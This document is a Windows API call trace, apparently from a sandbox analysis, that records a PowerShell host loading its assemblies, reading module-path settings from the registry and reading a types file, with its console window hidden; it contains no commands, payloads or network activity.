	[0082.096] GetLastError () returned 0x7a
	[0082.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.096] GetLastError () returned 0x7a
	[0082.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.096] GetLastError () returned 0x7a
	[0082.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee8b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.125] GetLastError () returned 0x7a
	[0082.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.125] GetLastError () returned 0x7a
	[0082.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.125] GetLastError () returned 0x7a
	[0082.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee8b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.125] GetLastError () returned 0x7a
	[0082.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.125] GetLastError () returned 0x7a
	[0082.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.126] GetLastError () returned 0x7a
	[0082.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.126] GetLastError () returned 0x7a
	[0082.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.126] GetLastError () returned 0x7a
	[0082.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.126] GetLastError () returned 0x7a
	[0082.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.126] GetLastError () returned 0x7a
	[0082.175] SetConsoleCtrlHandler (HandlerRoutine=0x7a384a, Add=1) returned 1
	[0082.175] GetLastError () returned 0x7a
	[0082.201] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.201] GetLastError () returned 0xcb
	[0082.203] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.203] GetLastError () returned 0xcb
	[0082.459] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.459] GetLastError () returned 0xcb
	[0082.509] GetConsoleWindow () returned 0x20204
	[0082.510] ShowWindow (hWnd=0x20204, nCmdShow=0) returned 0
	[0082.550] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x324
	[0082.550] GetLastError () returned 0x0
	[0082.551] CoCreateGuid (in: pguid=0xeeda8 | out: pguid=0xeeda8*(Data1=0xcb0a58da, Data2=0xc9d7, Data3=0x4da8, Data4=([0]=0x9b, [1]=0x97, [2]=0x3, [3]=0xb7, [4]=0x50, [5]=0xac, [6]=0x64, [7]=0x11))) returned 0x0
	[0082.608] WinSqmIsOptedIn () returned 0x0
	[0082.609] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.609] GetLastError () returned 0xcb
	[0082.612] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.612] GetLastError () returned 0xcb
	[0082.612] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.612] GetLastError () returned 0xcb
	[0082.613] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.613] GetLastError () returned 0xcb
	[0082.613] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.613] GetLastError () returned 0xcb
	[0082.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.614] GetLastError () returned 0xcb
	[0082.615] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.615] GetLastError () returned 0xcb
	[0082.615] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.615] GetLastError () returned 0xcb
	[0082.617] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.617] GetLastError () returned 0xcb
	[0082.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.628] GetLastError () returned 0xcb
	[0082.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.628] GetLastError () returned 0xcb
	[0082.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.628] GetLastError () returned 0xcb
	[0082.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.628] GetLastError () returned 0xcb
	[0082.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.713] GetLastError () returned 0x3
	[0082.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.713] GetLastError () returned 0x3
	[0082.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.713] GetLastError () returned 0x3
	[0082.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.713] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0082.714] GetLastError () returned 0x3
	[0082.716] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33
	[0082.716] GetLastError () returned 0x3
	[0082.718] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x617f50, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
	[0082.718] GetLastError () returned 0x3
	[0082.718] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xeebc0 | out: phkResult=0xeebc0*=0x330) returned 0x0
	[0082.718] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xeec04, lpData=0x0, lpcbData=0xeec00*=0x0 | out: lpType=0xeec04*=0x2, lpData=0x0, lpcbData=0xeec00*=0x6c) returned 0x0
	[0082.719] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xeec04, lpData=0x617f50, lpcbData=0xeec00*=0x6c | out: lpType=0xeec04*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0xeec00*=0x6c) returned 0x0
	[0082.719] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x617f50, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb
	[0082.719] GetLastError () returned 0x3
	[0082.719] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x617f50, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
	[0082.719] GetLastError () returned 0x3
	[0082.720] RegCloseKey (hKey=0x330) returned 0x0
	[0082.720] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x617f50, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
	[0082.720] GetLastError () returned 0x3
	[0082.721] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xeebc0 | out: phkResult=0xeebc0*=0x330) returned 0x0
	[0082.721] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xeec04, lpData=0x0, lpcbData=0xeec00*=0x0 | out: lpType=0xeec04*=0x0, lpData=0x0, lpcbData=0xeec00*=0x0) returned 0x2
	[0082.721] RegCloseKey (hKey=0x330) returned 0x0
	[0082.788] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x617f50 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0
	[0082.790] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents", nBufferLength=0x105, lpBuffer=0xee728, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents", lpFilePart=0x0) returned 0x1b
	[0082.790] GetLastError () returned 0x3f0
	[0082.791] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1
	[0082.791] GetLastError () returned 0x3f0
	[0082.813] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeeb40 | out: phkResult=0xeeb40*=0x338) returned 0x0
	[0082.816] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0xeeba8, lpData=0x0, lpcbData=0xeeba4*=0x0 | out: lpType=0xeeba8*=0x1, lpData=0x0, lpcbData=0xeeba4*=0x74) returned 0x0
	[0082.817] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0xeeb88, lpData=0x0, lpcbData=0xeeb84*=0x0 | out: lpType=0xeeb88*=0x1, lpData=0x0, lpcbData=0xeeb84*=0x74) returned 0x0
	[0082.817] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0xeeb88, lpData=0x617f50, lpcbData=0xeeb84*=0x74 | out: lpType=0xeeb88*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0xeeb84*=0x74) returned 0x0
	[0082.817] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0xee708, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a
	[0082.817] GetLastError () returned 0xcb
	[0082.817] SetErrorMode (uMode=0x1) returned 0x1
	[0082.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0xeeb88 | out: lpFileInformation=0xeeb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0082.817] GetLastError () returned 0xcb
	[0082.817] SetErrorMode (uMode=0x1) returned 0x1
	[0082.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xee6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
	[0082.818] GetLastError () returned 0xcb
	[0082.818] SetErrorMode (uMode=0x1) returned 0x1
	[0082.818] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb7c | out: lpFileInformation=0xeeb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1
	[0082.819] GetLastError () returned 0xcb
	[0082.819] SetErrorMode (uMode=0x1) returned 0x1
	[0082.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xee6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0082.820] GetLastError () returned 0xcb
	[0082.820] SetErrorMode (uMode=0x1) returned 0x1
	[0082.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb7c | out: lpFileInformation=0xeeb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1
	[0082.821] GetLastError () returned 0xcb
	[0082.821] SetErrorMode (uMode=0x1) returned 0x1
	[0082.834] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.834] GetLastError () returned 0xcb
	[0082.835] GetACP () returned 0x4e4
	[0082.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xee58c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
	[0082.871] GetLastError () returned 0x0
	[0082.871] SetErrorMode (uMode=0x1) returned 0x1
	[0082.872] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x33c
	[0082.873] GetLastError () returned 0x0
	[0082.874] GetFileType (hFile=0x33c) returned 0x1
	[0082.874] SetErrorMode (uMode=0x1) returned 0x1
	[0082.874] GetFileType (hFile=0x33c) returned 0x1
	[0082.875] ReadFile (in: hFile=0x33c, lpBuffer=0x2a608d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2a608d8*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0082.885] GetLastError () returned 0x0
	[0082.886] ReadFile (in: hFile=0x33c, lpBuffer=0x2a608d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2a608d8*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0082.887] GetLastError () returned 0x0
	[0082.887] ReadFile (in: hFile=0x33c, lpBuffer=0x2a608d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2a608d8*, lpNumberOfBytesRead=0xeeaf4*=0x1000, lpOverlapped=0x0) returned 1
	[0082.887] GetLastError () returned 0x0
	[0082.887] ReadFile (in: hFile=0x33c, lpBuffer=0x2a608d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2a608d8*, lpNumberOfBytesRead=0xeeaf4*=0xcf3, lpOverlapped=0x0) returned 1
	[0082.887] GetLastError () returned 0x0
	[0082.887] ReadFile (in: hFile=0x33c, lpBuffer=0x2a5fd6b, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2a5fd6b*, lpNumberOfBytesRead=0xeeaf4*=0x0, lpOverlapped=0x0) returned 1
	[0082.888] GetLastError () returned 0x0
	[0082.888] ReadFile (in: hFile=0x33c, lpBuffer=0x2a608d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xeeaf4, lpOverlapped=0x0 | out: lpBuffer=0x2a608d8*, lpNumberOfBytesRead=0xeeaf4*=0x0, lpOverlapped=0x0) returned 1
	[0082.888] GetLastError () returned 0x0
	[0082.888] CloseHandle (hObject=0x33c) returned 1
	[0082.888] GetLastError () returned 0x0
